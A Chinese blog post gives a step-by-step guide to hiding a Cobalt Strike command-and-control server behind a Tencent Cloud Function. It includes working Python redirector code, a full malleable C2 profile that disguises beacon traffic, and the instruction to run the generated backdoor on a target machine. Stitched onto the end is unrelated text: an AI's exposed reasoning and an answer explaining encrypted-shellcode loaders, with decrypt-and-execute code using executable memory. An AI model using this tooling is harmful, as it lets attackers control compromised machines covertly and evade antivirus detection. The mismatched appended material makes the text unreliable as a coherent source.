云函数隐匿C2服务器

该博客介绍了如何使用腾讯云函数创建一个与C2(命令与控制)服务器交互的后门。首先,通过自定义创建云函数并编写Python代码,配置HTTP请求以GET或POST方式与C2服务器通信。接着,设置API网关触发器,确保函数被正确调用。在服务器端,创建p.profile文件并填充配置,以执行不同的HTTP操作。最后,配置API监听器以生成后门程序,并在靶机上运行上线。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

第一步,创建云函数

登录腾讯云平台,访问云函数功能链接:https://console.cloud.tencent.com/scf/list?rid=8&ns=default。点击新建,创建方式选择自定义创建。函数名称可以自定义进行设置,主要是函数代码部分,将下面内容复制到函数代码中:

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标(如果使用443将http改为https即可)
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

C2的值填写c2服务器地址就可以了,后面也不再需要增加:80:443,点击完成后,云端会部署函数。

创建完成。

选择第二个功能:触发管理,创建触发器。触发版本选择$LATEST,触发版本选择API网关触发,其余的就不需要动了,点击提交

触发器创建完成,点击API服务名,进入到管理API页面,在刚新建的API上,点击编辑。在编辑API页面中,将路径改为/,点击立即完成-发布服务即可。

二、 服务器端新增 p.profile文件 (放在cs跟目录下);将一下代码复制进去;

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

运行cs : ./teamserver ip 密码 p.profile

三、设置监听器

管理API页面中,点击我们刚创建的APIid,进入到api的基本信息页面,我们要使用的是默认访问地址,用在cobalt strike创建监听器时使用。创建监听器时,我选择的是https,然后在HTTP HostsHTTP Host(stager)填入之前复制的地址。(这里是否选择http协议,根据你函数里的类型来选择)

 

 

监听器创建完成后,生成后门程序,在靶机运行既可上线。

<think>好的,用户想了解动态加密Shellcode,我需要先回忆一下相关知识,确保自己理解正确。动态加密Shellcode主要用在恶意软件或渗透测试中,用来绕过杀毒软件的检测。Shellcode本身是一段执行特定操作的机器码,比如反向连接或者下载文件。如果直接使用静态的Shellcode,特征明显,容易被AV/EDR识别。 动态加密应该是指在运行时动态解密Shellcode,这样静态分析时就看不到明文的恶意代码。可能涉及到分块加密、密钥动态生成或者使用环境变量作为密钥等方法。另外,可能还要考虑如何隐藏解密过程,避免行为检测。 用户可能需要了解动态加密的基本原理、实现方式以及它的优势。比如分阶段加载,每次只解密一部分,减少内存中的暴露。或者使用AES、XOR等加密算法,但密钥不是硬编码的,而是运行时获取的,比如从服务器下发,或者通过某种算法生成,这样每次加密的Shellcode都不同,避免特征匹配。 另外,可能还要提到一些高级技术,比如基于时间的密钥,或者利用合法API进行解密,减少可疑行为。还要注意内存保护属性,比如在解密后修改内存为可执行,可能需要调用VirtualProtect或者mprotect。 不过用户可能是安全研究人员或者红队成员,需要实际应用,所以可能需要举例子,比如用C/C++实现XOR加密,然后在运行时解密并执行。或者提到工具如Metasploit的加密功能,Cobalt Strike的Sleep Mask等。 需要提醒的是,动态加密虽然能绕过静态检测,但行为分析还是可能被发现,比如调用敏感API,内存分配等。因此可能需要结合其他技术如混淆、反调试等。 现在组织一下语言,分点解释动态加密Shellcode的概念、原理、常见方法、优缺点以及可能的示例。确保用中文口语化,不用专业术语太过密集,让用户容易理解。同时注意不要提供完整的攻击代码,避免被滥用,只做技术原理介绍。动态</think>加密 Shellcode 是一种常用于绕过安全检测的技术,主要用于渗透测试或恶意软件中。其核心思路是**在运行时动态解密并执行恶意代码**,从而避免静态特征被安全软件识别。以下是关键点解析: --- ### **1. 基本原理** - **静态加密**:Shellcode(一段机器码,如反弹连接的指令)在存储或传输时是加密的,避免直接暴露特征。 - **动态解密**:程序运行时,通过特定算法(如 XOR、AES)实时解密 Shellcode,再将其注入内存执行。 - **内存隐匿**:解密后的 Shellcode 仅在内存中存在,硬盘上无明文痕迹,增加检测难度。 --- ### **2. 常见实现方式** - **分块加密**:将 Shellcode 分割成多个块,每次解密一小段,减少内存中完整暴露的风险。 - **动态密钥**:密钥不硬编码,而是运行时生成(如通过系统时间、环境变量),每次加密结果不同。 - **API 合法调用**:利用系统 API(如 `CryptDecrypt`)解密,伪装成正常行为。 - **自修改代码(SMC)**:程序自身包含解密逻辑,运行时会修改自己的代码段来解密 Shellcode。 --- ### **3. 技术优势** - **绕过静态扫描**:加密后的 Shellcode 无固定特征,避免基于签名的检测。 - **灵活对抗分析**:可结合环境变量(如用户 ID、MAC 地址)生成密钥,仅在特定目标环境才能解密。 - **减少内存特征**:通过分阶段解密或及时擦除内存,降低行为监控的捕获概率。 --- ### **4. 典型示例(概念性伪代码)** ```c // 加密的 Shellcode(例如 XOR 加密) unsigned char encrypted_shellcode[] = {0xA1, 0xB2, 0xC3, ...}; // 动态获取密钥(例如通过简单运算) char key = get_current_hour(); // 根据当前小时数生成密钥 // 解密函数 void decrypt(char *data, int len, char key) { for(int i=0; i<len; i++) { data[i] ^= key; // XOR 解密 } } int main() { // 解密 Shellcode decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key); // 将解密后的 Shellcode 写入可执行内存并执行 void (*exec)() = (void(*)()) VirtualAlloc(NULL, sizeof(encrypted_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, encrypted_shellcode, sizeof(encrypted_shellcode)); exec(); return 0; } ``` --- ### **5. 对抗与检测** - **行为监控**:检测异常内存操作(如同时申请可写+可执行的内存)。 - **熵值分析**:高熵值的加密数据可能被标记为可疑。 - **沙箱诱捕**:在虚拟环境中运行时,密钥生成逻辑可能失效,导致 Shellcode 无法正确解密。 --- ### **6. 实际应用工具** - **Cobalt Strike**:通过 "Sleep Mask" 功能在睡眠期间加密内存中的 Shellcode。 - **Metasploit**:支持生成加密的 Payload(如 `msfvenom` 使用 `--encrypt` 参数)。 - **自定义 Loader**:攻击者常编写专用加载器,实现多层解密或与 C2 服务器交互获取密钥。 --- ### **总结** 动态加密 Shellcode 通过**运行时解密**和**内存隐身**技术提升了隐蔽性,但并非万能。现代安全系统会结合行为分析、内存扫描等手段进行对抗,因此实际应用中常需与其他技术(如反调试、API 混淆)结合使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值